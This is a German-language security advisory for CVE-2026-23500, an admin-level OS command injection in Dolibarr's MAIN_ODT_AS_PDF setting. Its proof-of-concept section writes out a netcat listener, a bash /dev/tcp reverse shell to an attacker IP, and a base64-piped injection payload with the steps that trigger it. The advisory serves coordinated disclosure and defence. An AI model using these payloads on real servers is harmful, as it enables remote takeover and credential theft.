CVE-2026-23500: OS-Kommandoeinschleusung (RCE) über MAIN_ODT_AS_PDF-Konfiguration in Dolibarr

Übersicht

Betroffene Produkte

• Dolibarr/dolibarr (Versionen: <= 22.0.4)
• Behoben in: 23.0

CWE-Klassifikation

• CWE-78: Unzureichende Neutralisierung von Sonderelementen in einem OS-Befehl ('OS Command Injection')

Einzelheiten

Zusammenfassung

Ein authentifizierter Administrator kann beliebige Betriebssystembefehle ausführen, indem er eine schädliche Nutzlast in die Konfigurationskonstante MAIN_ODT_AS_PDF einschleust. Diese Sicherheitslücke besteht, weil die Anwendung den Befehlspfad nicht ordnungsgemäß validiert oder maskiert, bevor sie ihn an die exec()-Funktion im ODT-zu-PDF-Konvertierungsprozess übergibt.

Details

Die Schwachstelle befindet sich in htdocs/includes/odtphp/odf.php. Wenn das System versucht, ein ODT-Dokument in PDF zu konvertieren (z. B. in Vorschlägen, Rechnungen), erstellt es einen Shell-Befehl unter Verwendung der globalen Einstellung MAIN_ODT_AS_PDF.

Codeausschnitt (htdocs/includes/odtphp/odf.php, ca. Zeile 930):

$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);

Während der Dateiname $name mithilfe von escapeshellcmd() bereinigt wird, wird die Konfigurationsvariable MAIN_ODT_AS_PDF direkt aus der Datenbank abgerufen und am Anfang der Zeichenkette angehängt. Ein Angreifer mit Administratorrechten kann diese Variable so setzen, dass sie einen Befehlsseparator (wie ;) gefolgt von beliebigen Befehlen enthält.

PoC

Voraussetzungen:

1. Melden Sie sich als Administrator an.
2. Stellen Sie sicher, dass das Modul "Commercial Proposals" aktiviert ist und "ODT-Vorlagen" in dessen Einrichtung aktiviert sind.

Schritte zur Reproduktion (Reverse Shell):

1. Starten Sie einen netcat-Listener auf dem Angreifer-Rechner (IP: 172.26.0.1, Port: 4445):

nc -lvnp 4445

2. Bereiten Sie die Nutzlast vor. Um Probleme mit Sonderzeichen (wie & oder >) zu vermeiden, die von der Webanwendung oder Shell maskiert werden könnten, kodieren Sie den Reverse-Shell-Befehl in Base64:

   root@kitploit:~

   # Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
   echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
   # Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
   

3. Navigieren Sie zu Home -> Setup -> Other Setup.

4. Fügen Sie die Konstante MAIN_ODT_AS_PDF hinzu oder ändern Sie sie mit der folgenden Injektionsnutzlast:

   root@kitploit:~

   jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
   

   (Erklärung: jodconverter erfüllt die erste Prüfung, ; fungiert als Befehlsseparator und die Pipeline dekodiert und führt die Base64-Nutzlast aus).

   

5. Navigieren Sie zu Commerce -> New proposal, erstellen Sie einen Entwurf, wählen Sie eine ODT-Vorlage (z. B. generic_proposal_odt), und klicken Sie auf .

6. Überprüfen Sie den netcat-Listener. Es wird eine Verbindung hergestellt, die eine Shell auf dem Server gewährt:

Auswirkungen

Remote Code Execution (RCE). Ein Angreifer, der Zugriff auf ein Administratorkonto erhält (oder ein böswilliger Administrator), kann beliebige Befehle auf dem zugrunde liegenden Server mit den Rechten des Webserver-Benutzers (normalerweise www-data) ausführen. Dies ermöglicht:

• Lesen vertraulicher Konfigurationsdateien (Datenbank-Anmeldedaten).
• Ändern des Anwendungscodes.
• Vollständige Systemkompromittierung abhängig von der Serverkonfiguration (z. B. Docker-Escape, Pivoting).

Danksagungen

Gemeldet von Łukasz Rybak

Referenzen

• https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w
• https://nvd.nist.gov/vuln/detail/CVE-2026-23500

Haftungsausschluss

Diese CVE wurde verantwortungsvoll gemäß den Praktiken der koordinierten Offenlegung von Sicherheitslücken offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich zu Bildungs- und Verteidigungszwecken.